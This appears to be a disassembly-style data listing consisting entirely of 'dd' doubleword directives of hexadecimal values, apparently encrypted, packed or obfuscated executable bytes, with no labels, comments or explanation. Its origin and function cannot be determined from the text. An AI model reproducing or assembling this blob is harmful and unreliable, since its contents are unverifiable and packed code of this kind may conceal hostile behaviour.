		dd 4C300ABDh, 6151E4E4h, 6263313Ah, 363C7FAEh, 0CDAA2Ch
		dd 0DEB20000h, 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 65896A67h
		dd 0C39418DEh, 33391461h, 0CB5CBEC2h, 9B5B19A3h, 0F6CABE92h
		dd 256E9F58h, 3844A428h, 0BBCC3923h, 7C8E608Eh,	0C74B8691h
		dd 68916583h, 0C5426058h, 643866FDh, 97E00DDFh,	1BEFDA2Fh
		dd 4B25C327h, 6DEB2223h, 8557AB44h, 1FB1C47Bh, 0FA468313h
		dd 72C21E6Ah, 20A99130h, 3014F8D1h, 0DBCA5416h,	0FA53FDCCh
		dd 0C8F50AA6h, 9A9E0FD4h, 7406ACBBh, 45CD8C6Bh,	1E582h
		dd 0F4C3D700h, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h
		dd 0DE3D2493h, 8F78FBDAh, 7FA84B76h, 28C51E29h,	8871E2DFh
		dd 0D6B8CC60h, 400FC584h, 0FBDADED8h, 0B160CA71h, 22D6CB2Ch
		dd 71826304h, 0BD799F44h, 869F4750h, 15A947BBh,	0C66EFC87h
		dd 0BD9F0557h, 0D61EE2D8h, 3A60CAB6h, 6DD1E037h, 0EA5E6BBCh
		dd 87FB0A0Ch, 5DB73662h, 2C35C7ACh, 0C285h, 9DE61700h
		dd 0DE9086A0h, 8372F8D5h, 92F65A75h, 5F4E9C74h,	0B1957948h
		dd 5362B697h, 18BC47EFh, 0F603C394h, 9AEF18DBh,	0BB33BDAFh
		dd 3C6BE6CFh, 0AA95EF40h, 4400A4B6h, 0CB3C6BE6h, 6BF159F7h
		dd 3AB64BAh, 3C6BE647h,	709EF2C8h, 21CB502Ch, 0DC2B2897h
		dd 0FD0B8E91h, 0F5A8353h, 0EFD34260h, 5C522A74h, 0D11B7F46h
		dd 13E7DE24h, 0D75F113Fh, 446D9ED5h, 0CF3E2C16h, 0BC698AB5h
		dd 168E5964h, 258C6BF0h, 0E86A2Dh, 0CED80000h, 74836CF7h
		dd 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h,	7DE6D923h
		dd 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h, 0CC584D1h
		dd 0DADEC7BDh, 7A8F78FBh, 0BD6C944Fh, 84084150h, 0F4C3D5h
		dd 0CF3EE8CCh, 0B05D8FBAh, 0A2E66A67h, 2CBE8C84h, 1D7E0AA2h
		dd 89F1C394h, 941D0D79h, 8EB882C3h, 845F6ABFh, 0BD889D08h
		dd 0EA710B93h, 0F207F600h, 5D6E4F1Ch, 0F7EB5D9Ch, 891DCF03h
		dd 0C394D2FDh, 16DE0872h, 0BD849259h, 7D2C90EAh, 0A737C628h
		dd 0A750689Dh, 0C55531B5h, 0E0DA3A64h, 6DB6578Ch, 0C644EC50h
		dd 0DE82221Eh, 0BA99E10Ch, 729B2A8Ch, 0DECF1421h, 2D186DD5h
		dd 8E9445C9h, 0B98A0B6Ch, 83E7B570h, 786023Fh, 0BBB8959Eh
		dd 0DAD7394Ah, 116EC2D1h, 0DD09E72Eh, 280C0105h, 38F4034h
		dd 29000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 83CF7BCFh, 1C8904ECh, 81E38924h, 4C3h, 4EB8300h, 5C241C87h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0E168241Ch
		dd 8900001Ch, 0B9512434h, 610C248h, 0C8BCB89h, 4C48324h
		dd 24348B54h, 4C481h, 52530000h, 4E3B5EBAh, 2454014Eh
		dd 468F5A04h, 86E8108h,	4E4E3B5Eh, 5124348Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 1C8B5C24h, 0E7895724h,	4C781h
		dd 0C7830000h, 243C8704h, 0B195E95Ch, 7AB5FFFAh, 0DD303F76h
		dd 10CD13B8h, 0FFC50306h, 0A8B3E5E0h, 2B874F5Ch, 29955304h
		dd 0C6396B16h, 0E8FE644Eh, 0F508ED6Fh, 0C8D93969h, 0F18FCB36h
		dd 3CA51F5Ch, 0BD7D4B4Dh, 767E446Dh, 0E3BC391Fh, 81581C31h
		dd 85CBC63Bh, 0AE82Dh, 42320000h, 0DEB41713h, 0F2DEEE78h
		dd 0DE9h, 0D903CE00h, 0ED71A0D7h, 906C25C4h, 605A7E87h
		dd 5C28161h, 0BB000063h, 0
		dd 12830Fh, 8F0F0000h, 0Ch, 7E9h, 0D4CD5500h, 0BB4559A3h
		dd 0F51334FFh, 73E1815Fh, 81227CD0h, 15C11FF7h,	0C78B6629h
		dd 5167F781h, 0B966413Bh, 0EF8198EFh, 69680D03h, 1A3C89F8h
		dd 0F01EB83h, 4B4BCABFh, 870F4Bh, 81000000h, 0FF9D90FBh
		dd 0BD850FFFh, 0E9FFFFFFh, 0Fh,	24372F1Dh, 0BBB92A21h
		dd 0DA462D05h, 8D608184h, 10CF348Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 5BEFC63h, 4EAC0232h
		dd 4D8D8968h, 6A060B17h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0D9F8C350h,	0BD9F56AEh
		dd 11985C7h, 5FBC060Bh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 4BBE44C3h, 0C72E12DCh
		dd 0B100985h, 6, 0DD38BE00h, 0B5FF71BFh, 60B2A41h, 11698589h
		dd 858B060Bh, 60B2ED9h,	0AC595FFh, 8B66060Bh, 0FF006AF1h
		dd 0B32DD95h, 0EBC08B06h, 41F8B519h, 1FADA26Bh,	903ECE3Dh
		dd 343101B9h, 0A61EF131h, 0E1C4E928h, 0DE8097Dh, 0A000000h
		dd 0EE31FBE6h, 447BA155h, 67C34E69h, 9E8h, 9BBBC700h, 41669E13h
		dd 0EE9AEC9h, 64000000h, 0DC495EBh, 2D5C6603h, 66581237h
		dd 0E9595E2Bh, 9, 328A9F2Dh, 0A30EAEC1h, 0C6C1815Bh, 89000069h
		dd 0B1B099Dh, 1A3F6806h, 665B0000h, 8B99D3BFh, 85096011h
		dd 60B0941h, 4810Fh, 0BE660000h, 81619EC1h, 0FA4C56F2h
		dd 5C88107h, 814D5A1Bh,	91E992F2h, 5AC48039h, 0FF50F281h
		dd 0B5897183h, 60B23EDh, 0BD8B1189h, 60B2F55h, 8CEAE981h
		dd 0C1816405h, 64058CE6h, 1659BD89h, 0EB83060Bh, 11850F01h
		dd 60000000h, 74E18166h, 16E96103h, 0AB000000h,	946DA38h
		dd 13418D89h, 8CE9060Bh, 93FFFFFFh, 0B675D182h,	0ABE90Fh
		dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0A601E800h, 323D94E7h, 0FE71D83h, 1204E954h,	80680000h
		dd 0E90610D2h, 0FFFAAE53h, 10D38868h, 0AE49E906h, 4C68FFFAh
		dd 0E90610D4h, 0FFFAAE3Fh, 10D5B968h, 0AE35E906h, 2268FFFAh
		dd 0E90610D6h, 0FFFAAE2Bh, 10D6C268h, 0AE21E906h, 8B68FFFAh
		dd 0E90610D7h, 0FFFAAE17h, 10D83468h, 0AE0DE906h, 0F068FFFAh
		dd 0E90610D8h, 0FFFAAE03h, 10DA3968h, 0ADF9E906h, 3E68FFFAh
		dd 0E90610DBh, 0FFFAADEFh, 10DC6368h, 0ADE5E906h, 0B168FFFAh
		dd 0E90610DDh, 0FFFAADDBh, 10DF7B68h, 0ADD1E906h, 9468FFFAh
		dd 0E90610E0h, 0FFFAADC7h, 0F66D64AEh, 20330E19h, 5E85B4C7h
		dd 896A69B1h, 3A39041Ch, 63B9549Bh, 1166875Ch, 0CED6372Ch
		dd 76836CF7h, 0F973985Bh, 84CC1175h, 0B12796C5h, 72F8D5DEh
		dd 1D384CE0h, 4B8FC394h, 0B3C4B59Dh, 7B015D86h,	6FF27AE0h
		dd 0C0BD9F19h, 0D9C416FAh, 0E5E105CEh, 6A3A60E6h, 0E1483C10h
		dd 9644B897h, 60E66A1Eh, 6B85FD3Ah, 60E6EB9Bh, 6B7A3E3Ah
		dd 35087891h, 20512Ch, 6FBF0000h, 40E4760Dh, 0BD9F05D1h
		dd 5090645Eh, 3A60CB30h, 0DA2EBFE5h, 2C35C733h,	0B01Eh
		dd 0D5DEE600h, 5FA514F8h, 0C468FA60h, 0C3941D80h, 6150A607h
		dd 3357DF0Dh, 0B4C3941Dh, 0A2A8A04Eh, 0F9172A73h, 42360314h
		dd 0A0B38E9Bh, 941B773Eh, 80BDC6C3h, 0D124D153h, 0B2C746E0h
		dd 0A1FB3387h, 0D9DC509Ah, 6E4260FFh, 64587781h, 46DDBFFFh
		dd 829B0A94h, 9FC591BFh, 10446D5Eh, 0CFD5C02Ah,	34E163F0h
		dd 286CD0E1h, 0CAF50FFEh, 6B461B3Dh, 1DF2508Ch,	0FB2h
		dd 0E67D545Eh, 10C3FE09h, 4E95A4F7h, 0F97A59A1h, 2AC9F40Ch
		dd 53A944ABh, 116F76Ch,	0BEC6273Ch, 66B35C87h, 0E903886Bh
		dd 84CF0145h, 413786C5h, 78FBDADEh, 944F7A8Fh, 4A50BD6Ch
		dd 0CBBF969Eh, 0EB2F93F7h, 1B613Dh, 0A02448DAh,	27C3941Dh
		dd 33BB35D3h, 0BD9F0582h, 32397EBh, 3A60CB43h, 79830296h
		dd 0FA4E7B8Ch, 57F66886h, 722C35C7h, 0CDh, 0BB33BD9Ah
		dd 0C3941DCFh, 0B10E434Eh, 0E3298E49h, 1DA1D69Bh, 3C091AF3h
		dd 7F9BE148h, 1F97A122h, 0C394D86Bh, 5D7986FCh,	0D4B89C8Ah
		dd 9484551Ch, 3393E4C3h, 2165E9E0h, 259A16CDh, 87AD58E7h
		dd 0C548E650h, 2B3185B0h, 7593AAFAh, 22C85329h,	9FF78F8Ah
		dd 38ACA0BDh, 3A61D74Ch, 589BFFC3h, 495342CCh, 0D78AFE76h
		dd 0D31D3A61h, 61D72F5Bh, 665AA03Ah, 93A8F4C8h,	47AC2549h
		dd 0D921446Ch, 0A79EE213h, 764953BCh, 6A4A89F9h, 0E758AA8Ch
		dd 0EAAh, 0EE754C56h, 18DBF601h, 0B6AD9CEFh, 0E1724159h
		dd 12C1FC04h, 5BA1BCA3h, 90EFF64h, 0B6FE2F34h, 5EAB449Fh
		dd 0E10BF063h, 84CE394Dh, 593F8EC5h, 78FBDADEh,	944F7A8Fh
		dd 0F8D5DE6Ch, 5B768372h, 9D7593F7h, 75EEDB2Ch,	0CCB08998h
		dd 263D081Dh, 66D54151h, 0A0F431D0h, 266EDFC5h,	0C9675B2Fh
		dd 0F109A7F5h, 81754457h, 0A1E5694Dh, 256E9F4Dh, 0F86CFE28h
		dd 0BD9F45CDh, 0CF077842h, 34EB16BEh, 8557ECB0h, 0F4105461h
		dd 0DDA199BFh, 0B6A4BFDDh, 0C66D563Eh, 33442941h, 0E38CDDh
		dd 14080BF9h, 76129AA0h, 0F935C540h, 0A349AD81h, 74812172h
		dd 0BD91F559h, 13C49A6h, 1076EC6h, 0F255BD8Ah, 0DE6h, 0AA498092h
		dd 0C41F2A7Dh, 72E1D82Bh, 0ADB68D95h, 0DE053840h, 879D7067h
		dd 354ABBB8h, 0EA3AEB08h, 92E700D3h, 9D4FBCA7h,	84C97D09h
		dd 9D03F2C5h, 14F8D5DEh, 5430B4C6h, 0DBC3941Dh,	277549E7h
		dd 3A6CE1Ch, 29BD9F1Eh,	0F90CA4FCh, 2C0044C8h, 263D0502h
		dd 768A2478h, 9AFECBDAh, 0FF10AD7Dh, 0CA2E35DFh, 2F998C20h
		dd 9CC3446Bh, 6A8F7F1Dh, 906F9925h, 0E91426AAh,	1B6C7690h
		dd 0F0AE9170h, 0E2E2729Ch, 37307D4Bh, 81A8606Dh, 0A8262A46h
		dd 5Dh,	0F5C0D5C0h, 3D23CD01h, 0E4760D6Fh, 9EE1D740h, 0B2C835BDh
		dd 2DDB3F83h, 0F406D42Eh, 8FEA0547h, 3DEB5D7Ch,	0F352C4D0h
		dd 0EF07F17Dh, 4FD91A7Eh, 0B448F810h, 0B5394FD0h, 3A60CBD1h
		dd 0DE086C56h, 60CB7416h, 91ACF93Ah, 6453A542h,	0B4384A90h
		dd 3A60CBD0h, 5EC56357h, 0CF6h,	760D6FE6h, 0A4C85AE4h
		dd 0C3941D20h, 21B553A7h, 0BD846C68h, 5E4F9DE5h, 0BD2DA157h
		dd 0DC87BD67h, 719C4EF8h, 0DDCA2924h, 201968C8h, 96EF1ECCh
		dd 45E327ABh, 0B4CFADCDh, 9AE914A6h, 0E7FD89A7h, 15446B84h
		dd 0DCA099E8h, 350811F8h, 64E30D41h, 0D421CC1Eh, 788D7AF9h
		dd 0AE6B0696h, 0C43893D1h, 0DF643870h, 0CC84990Dh, 0F4594E40h
		dd 0EF2397AEh, 94027C8Bh, 0D131927Dh, 0C797Eh, 24136700h
		dd 8AC7CE3Fh, 5C6DBC69h, 21106687h, 0F0CFD532h,	6E8DD463h
		dd 0DFC82B2Ah, 8F78FBC6h, 78954E79h, 38C1122Fh,	0C8C8BC30h
		dd 0F05FC584h, 1D27A708h, 8517C394h, 0FAF86CFEh, 75BD846Dh
		dd 0E52EDF0Dh, 899A0BE8h, 0CCD0C8BCh, 0A41BA5B7h, 0A7174CB5h
		dd 0AC38D681h, 4470EEF9h, 0A5FB744Eh
		dd 4A8C6D83h, 0C1007F8h, 0AAFC0000h, 50A74093h,	615F261h
		dd 0A7FF28CBh, 56AA5B98h, 264DF46Fh, 5182BDC7h,	81526FB4h
		dd 3E251064h, 6A89C4D1h, 0A7234BA1h, 28C584CBh,	0D5DEE359h
		dd 50A514F8h, 2448F765h, 481A9038h, 538F2C92h, 71C0EAA4h
		dd 0F94D7088h, 7FE76B85h, 0B950A825h, 90324099h, 678h
		dd 760D6F7Ch, 6D7F40E4h, 8AF0BD84h, 5560B560h, 8493028Eh
		dd 638DC1B5h, 0D8AC99EAh, 7B2D7808h, 2F34483Ah,	8BCAD03Dh
		dd 4E1B935Dh, 0F244702Eh, 50285C4Dh, 82AC8B3Dh,	0F8B2BD85h
		dd 0B8C6D82h, 0B70583Fh, 0A1C0000h, 0B0C72033h,	66B55281h
		dd 71F886Bh, 0B6CA3B38h, 86ED548Fh, 31221D67h, 61F2CFD4h
		dd 9E457084h, 0CA292471h, 0C7832BC1h, 48C584CBh, 50BD03F9h
		dd 4E82764Bh, 6D58ADA0h, 8DF96DFFh, 2C3941Dh, 303A0E38h
		dd 1D7A0EA6h, 0F5CDC394h, 94A1F25Bh, 112C7920h,	98A9FCADh
		dd 0C7C6DC34h, 0F4F18B4Bh, 400CED1Ch, 5C6C432h,	0CA540000h
		dd 941526A2h, 0B751A9C3h, 1D27A741h, 8517C394h,	37F86CFEh
		dd 88BD846Ch, 83E7D227h, 0D8DECF59h, 173115F9h,	0F60BED36h
		dd 3FC6C653h, 6051A415h, 0ED36D70Ch, 700C6CD0h,	819401EBh
		dd 4F88CCB0h, 5D1C7CA8h, 0F07A9483h, 70B4297Ch,	8B44BE44h
		dd 8C6DC9D1h, 0A743040Eh, 5500000Ah, 3CE90A41h,	0EA1BD8E9h
		dd 54B1A29Fh, 3EC774Eh,	0A61DC6F9h, 79445CBFh, 0C9F40DFAh
		dd 9CABFD2Ah, 605DA647h, 4AE20EF3h, 0C584CA3Eh,	0DE5AC2B1h
		dd 0A514F8D5h, 28916550h, 0AF1EE2DFh, 0A79B6F5Ah, 0DF1C0D6h
		dd 3A545153h, 8F05801Ah, 32400D5Eh, 5134Bh, 0D6F9500h
		dd 0B68306ADh, 40A4DB3Dh, 19E6129Ah, 7149BD84h,	0DCE93AEBh
		dd 0F188507h, 86C0532h,	5BBF2450h, 0EF57A0ADh, 0E7DBAF9Ah
		dd 57373F83h, 673A7B9Ah, 48DC0E15h, 4470991Dh, 0F4C9CE3Fh
		dd 0B10FD5Ah, 2A0E4236h, 6DE9A9DDh, 7F84A8Ch, 9FEh, 0B2A198EAh
		dd 0EC774255h, 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh
		dd 5DA24390h, 212F360h,	0AAFF28CBh, 0B5B7449Fh,	84C55531h
		dd 0F56BDAC5h, 14F8D5DEh, 916550A5h, 0ED32E361h, 717C36D0h
		dd 400D729Bh, 4765F32h,	0A7B90000h, 0C3941D22h,	71FB801Ch
		dd 846C3CFDh, 0A349B1BDh, 799FE411h, 0BD5ACF52h, 71D83C8Fh
		dd 61A52924h, 0F63D46C7h, 9C84C064h, 370B3A7Bh,	7B9C4B3Fh
		dd 82E6DC3Ah, 0D226D751h, 0BFC845E3h, 78E35882h, 176554F9h
		dd 4C9E729Ch, 0FDEAAC2h, 69513A7Bh, 709DFFBFh, 7B0F88FCh
		dd 0C73B1F3Ah, 5709115h, 85FD4470h, 6E573E4Ah, 0BA1DF58Ch
		dd 942h, 76EDE42Eh, 0A0B38E99h,	0DE053447h, 9EAE931h, 0BAB9849Ch
		dd 0E339D41Bh, 91E607DCh, 4E56B7ACh, 0F603EC77h, 79F318DBh
		dd 84C591F5h, 31A716C5h, 0B4A50BDh, 2A2770DDh, 97A2F7A6h
		dd 0B2337523h, 0D60D384Dh, 40F1032Ah, 15F2E32h,	0DE360000h
		dd 0A514F8D5h, 6F76550h, 4225C3F2h, 4B288814h, 49477177h
		dd 6905ABEh, 2EE286D9h,	8CBAB74Bh, 9F9775F8h, 2B76A7BDh
		dd 94384CE0h, 4B8F3A61h, 605AB957h, 4C5F4E9Ch, 9BB5897Dh
		dd 6194BBCBh, 0D8E53A3Ah, 467D8574h, 404D47F2h,	7C892BCEh
		dd 35966584h, 254C2Ch, 6FA80000h, 39E4760Dh, 0B436D0EFh
		dd 9F058130h, 2094EEBDh, 60CB4000h, 0FE0F953Ah,	35C6E30Ah
		dd 0BBCE2Ch, 0DE160000h, 8372F8D5h, 91F55970h, 0D62A9377h
		dd 6AD11BEFh, 0D5590248h, 0C39412B1h, 8633CC36h, 0FA53FDC0h
		dd 593347A9h, 0FBFC7499h, 5CA85587h, 8FB99D61h,	61C1D2BBh
		dd 70543817h, 0FD417C89h, 28BEA599h, 0C3946851h, 79FAD720h
		dd 16C45F3Dh, 0DFA39EE7h, 0CB0212FBh, 0BE50347h, 99CC64E3h
		dd 4F9DE5BDh, 0AAEE5A5Eh, 0E5DC22ABh, 6FB55281h, 0D1DB9750h
		dd 2A18865Fh, 7F955h, 0A493E700h, 0A474EBFh, 0DCED3CE9h
		dd 0A190E607h, 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h
		dd 0F815CEF9h, 0B84192AFh, 0C7483CB0h, 70DFC584h, 0FBDADE88h
		dd 4F7A8F78h, 1425709Dh, 21C26CA0h, 0F8D5DED3h,	6550A514h
		dd 0C0FD06F7h, 75EE187Ch, 81C569FBh, 6C3941Dh, 9C605FA9h
		dd 0B5AA44B8h, 258h, 760D6FDFh,	0B4140E4h, 0F4CEBD9Fh
		dd 0B1853A00h, 0AB9E13CFh, 2B5B2BC5h, 0FE3A6087h, 8C76CD72h
		dd 0DE87BF46h, 9D777630h, 2C356E6Ch, 20145h, 20A7A300h
		dd 1EC3941Dh, 0FF77E57Eh, 0BD846C38h, 2BC977E4h, 608DF13h
		dd 4DE16BE8h, 3A7B5539h, 8A50B48Eh, 4D788D78h, 6C59AAA3h
		dd 0EB0D16F7h, 0E4336B81h, 53271B17h, 0CEC07F89h, 0AA77C6F0h
		dd 673A4E86h, 7B833A7Bh, 6987FB44h, 0A2CA4755h,	3A7B6726h
		dd 630F8AA9h, 0BCE935BDh, 7EF66458h, 44702C8Fh,	0B72D3A00h
		dd 448C6E2Eh, 6F409CEh,	96E00000h, 3C4BA4BFh, 0EA39D60Dh
		dd 9BE30CD7h, 4A4EBFA4h, 269E80Bh, 0B5AE91EBh, 0E57E4358h
		dd 12C1FC08h, 4E95A0F5h, 4307AFBDh, 0C4C584C6h,	0D5DE8F75h
		dd 50A514F8h, 0FB03ABF0h, 381CE0C4h, 608416C4h,	0C3941D64h
		dd 917997EBh, 3BE0ED27h, 0F400D3EEh, 3240F155h,	5865BA6Bh
		dd 1302BAEh, 1A410000h,	8DB7422Dh, 0FC628C3Dh, 92FE1EBDh
		dd 0B3DA44D6h, 526FB895h, 0DFEA3FEEh, 39425A04h, 9336BB33h
		dd 0E807BD9Fh, 561C63B0h, 0D5B99DE8h, 61546D1Dh, 0EDF8B83Ah
		dd 3555F617h, 34D32Ch, 5C490000h, 0B4887C4Dh, 0D6FA49Ah
		dd 0D140E476h, 5EBD9F05h, 0CB6E1A92h, 99E13A60h, 7111D1A5h
		dd 0A43A60CBh, 0F21BF1FCh, 0C82C35C6h, 4EF8C7DDh, 948Bh
		dd 0D5DE5500h, 5FA514F8h, 0D82D9C60h, 67B019EDh, 7C65896Ah
		dd 0FFC393EBh, 1A449FAAh, 0FB73F982h, 4266220Ch, 81604BF0h
		dd 799B4B2Ch, 33C1DBDh,	0F202BC50h, 0CA49E7DBh,	64B31D65h
		dd 0CF1D7155h, 78FBDADEh, 0BD4A758Fh, 86611931h, 0CF0FC042h
		dd 0BD000005h, 64815269h, 0D2332011h, 0BC698AC7h, 6B845F66h
		dd 8E352E11h, 417C8467h, 112C7592h, 0E4D325C2h,	48858E7Fh
		dd 628A66ABh, 0C584C166h, 0DEA21AE9h, 0EC78FBDAh, 5A5AF4Fh
		dd 6F998A82h, 0BBB8959Eh, 6DD5DE5Dh, 3357DF14h,	0B4C3941Dh
		dd 0A2E66A4Eh, 613FA4Eh, 977B5A5Eh, 8845FB3h, 275F85D3h
		dd 14328EA3h, 272Fh, 1EBD4900h,	565E7F86h, 927B9585h, 0FBD62181h
		dd 344A3317h, 0F4A5290Dh, 0E22296A3h, 0C3D43DC8h, 46966DF6h
		dd 3E000000h, 0F923D5DEh, 4980DB57h, 3C16D52Ch,	533F0C03h
		dd 2A5B8B7Fh, 0ADC394EFh, 339A6E55h, 0F3971FE0h, 74C394EFh
		dd 6CA62A0Eh, 0C5C7BB4Ah, 7C8E1293h, 94EF9CE8h,	12F13C3h
		dd 0B438FB0Ch, 0C394EFD0h, 0D40F6357h, 4150BD2Ch, 89B8408h
		dd 0D3FFD4A3h, 69E40266h, 0A93B211Ch, 94234105h, 52FCC6C3h
		dd 45DEBEFEh, 52A61F97h, 43B7BD84h, 2E1B6C99h, 29CFD835h
		dd 6B1798ADh, 0C2B6AAF4h, 0A349D2AAh, 4CE99D11h, 47E3A7Bh
		dd 0F6EC00EAh, 24446B3Ch, 0F309A3F9h, 200478CCh, 71CE785Ch
		dd 0E132E309h, 959E0FD4h, 0C8D4D4B8h, 2805A9B3h, 3D4E419Bh
		dd 0E7860AC5h, 45CD927Eh, 48182h, 2C1B6F00h, 0F2CFD637h
		dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh,	27C01322h
		dd 9770E3DEh, 40ADB681h, 30D91A37h, 0C0D0B438h,	0E857C584h
		dd 6DD5DE70h, 64582C1Bh, 0E132D300h, 6CB960D4h,	4F4A458Ah
		dd 766AAAFBh, 0D3D2D482h, 77ECD92Ah, 78C246F5h,	724642CAh
		dd 0B5A18303h, 36D034A4h, 415A25C4h, 430C32h
		dd 6FE80000h, 40E4760Dh, 0BD9EE1D7h, 0C213B958h, 7FCD6581h
		dd 96A16662h, 0C6037F9h, 0EED92FDEh, 0FE3E175h,	11623A60h
		dd 0E66A69B1h, 0F1C8DBA2h, 0ED5C90Dh, 0D4B897E1h, 3DD73h
		dd 0EB3CE900h, 0F8166ADEh, 0F8D5DE02h, 0C4D7C614h, 0A1F25BF5h
		dd 285CD062h, 0BFC3941Dh, 1DFF8B5Bh, 0D170C394h, 0CE203484h
		dd 0C5391D88h, 273C401Eh, 0FD2CB135h, 3901BD9Fh, 0C3ED9D55h
		dd 1B6C3A61h, 32F8B2F5h, 83E70C80h, 0F464E3Fh, 54514BBBh
		dd 109D073Ah, 0E7355388h, 8B348C77h, 94AE35Dh, 3E672C36h
		dd 0F5000000h, 22CCFD08h, 760D6F3Ch, 5D140E4h, 645EBD9Fh
		dd 0C6F107F6h, 40002028h, 0C13A60CBh, 8FFB73B8h, 3A60CBh
		dd 8B72C63Ah, 0BBFE427Dh, 0FF126C79h, 39D028A5h, 102C35C7h
		dd 0E6h, 0F8D5DEFCh, 605FA514h,	36D82D9Ch, 56580654h, 0BBA185FDh
		dd 94673004h, 21CF3BD0h, 1A374029h, 0FBD625D0h,	7D04AA4Dh
		dd 9FC394CEh, 0CCED990Dh, 1862C394h, 3F0A1FEEh,	83BECB24h
		dd 869DFF3Fh, 0FB29D054h, 6786BD9Fh, 570D1A87h,	0A4B693h
		dd 3A61A344h, 4093F7CBh, 6FFD8616h, 6C3506C7h, 0A9B38744h
		dd 0EC1A277Ch, 0B6899302h, 0AEF223ADh, 41EF2397h, 7E89B4CCh
		dd 8C6A575Ch, 0B7DCB397h, 0A5000002h, 0CF97A51h, 0FA2BC8F9h
		dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh,	39041D8Ah
		dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C584C20Eh,	0DE4A3281h
		dd 94E00DDAh, 1DDDA9B9h, 6852C394h, 0F53EEF74h,	1DC2862Eh
		dd 7D45C394h, 3C4EDA19h, 941DDCA8h, 0D2B63EC3h,	55C3941Dh
		dd 0EA3D926Dh, 33176BDFh, 1EBD2F15h, 0E434F1A0h, 0CF2DC8FFh
		dd 21AEB34Ch, 19633BD5h, 0E554D802h, 4ABD9F0Eh,	24A48C70h
		dd 0F13A60FCh, 896FBA6Bh, 1D77D04Dh, 0CE785CE8h, 0A23D9D4h
		dd 272C3517h, 0C6h, 0C3D48B5h, 0D5DE7CE2h, 0CB2F1A6Dh
		dd 0ACDFBA21h, 52F733CDh, 97ED5CB4h, 0E5D9E43Dh, 6D88D111h
		dd 0DE2BC394h, 829770E3h, 0C279C3B7h, 4CE0EACFh, 0C3944638h
		dd 458C4B8Fh, 3A82ACF6h, 8113D962h, 278BFF77h, 261CC394h
		dd 10957C08h, 106ABD9Fh, 0F2CDDBCAh, 0B9C39354h, 3634B8A2h
		dd 39446CAAh, 78736C1Ah, 5ABEA13Fh, 201F6590h, 0F7CED233h
		dd 6AFA9478h, 0F85FAB8Ch, 19Eh,	0D201384Ah, 0CD7E235h
		dd 0BAB990E3h, 0D50E354Dh, 6DDE038h, 4F55A8BFh,	0FD02E370h
		dd 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 84FD3551h, 55CBBAC5h
		dd 9B9E1EBDh, 0B7F7931Bh, 278C394h, 0A80171F5h,	4A758F7Eh
		dd 1E2B7CA9h, 0D5DE3FC5h, 50A514F8h, 0B5A9A4F0h, 193441AEh
		dd 0C72775B5h, 1B93D016h, 0C394406Fh, 27D9AE0h,	0C7150996h
		dd 9FF312AFh, 0AB1F63BDh, 71FB0A8Eh, 0AA447584h, 0F87B56A3h
		dd 789EDEBEh, 63D62C95h, 9B13D93Dh, 446AA3BEh, 16C74B8Fh
		dd 615CA50Dh, 5349B90Dh, 0FB801C52h, 7AD8FD71h,	8EAD4E75h
		dd 7ACB17F9h, 0A6BD91F4h, 0D77BB52Ah, 2610DF21h, 0C5F00508h
		dd 65618517h, 0EA2E4B25h, 2B927690h, 0E31EE2DDh, 0AAFF24A1h
		dd 0EACEFB0Ah, 0B18C9500h, 845F89CDh, 0B3B9C2DAh, 4017863Bh
		dd 0F20BFA50h, 0D5077BCFh, 40053551h, 0A640BA24h, 3CED51A9h
		dd 0E10CDEEBh, 848CBA99h, 0D48A1B99h, 7CA9B3C8h, 54A81C2Dh
		dd 51A6E86h, 95ED2440h,	0C07DF17Bh, 385A4B37h, 1D2C7FAEh
		dd 5CE5B1D5h, 33CC3622h, 0DF058AA7h, 33103E22h,	239814CFh
		dd 0FA1755B5h, 0CFCF79E3h, 204496ADh, 5C4C2D71h, 0C45684FEh
		dd 236C24A0h, 0B2C2AB18h, 8189A79Bh, 61F2CFD8h,	0F2467384h
		dd 3C681072h, 97160CAAh, 6ABD256Eh, 0B397EB5Fh,	73247A0h
		dd 56B4CAB3h, 2880D91Ch, 0F75BBF0Ch, 0F074864Ah, 4A0CE494h
		dd 0AF09271Bh, 91ACF91Eh, 78455A4Bh, 0AFF815CEh, 3692E92h
		dd 0F3000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 68CF7BCFh, 70E4h, 51241C89h,	0C181E189h, 4, 8704E983h
		dd 895C240Ch, 0C468241Ch, 8900003Ah, 68522404h,	25EF4464h
		dd 81DAF75Ah, 0F16A2BC2h, 0F2814A61h, 3A12F4B6h, 148BD389h
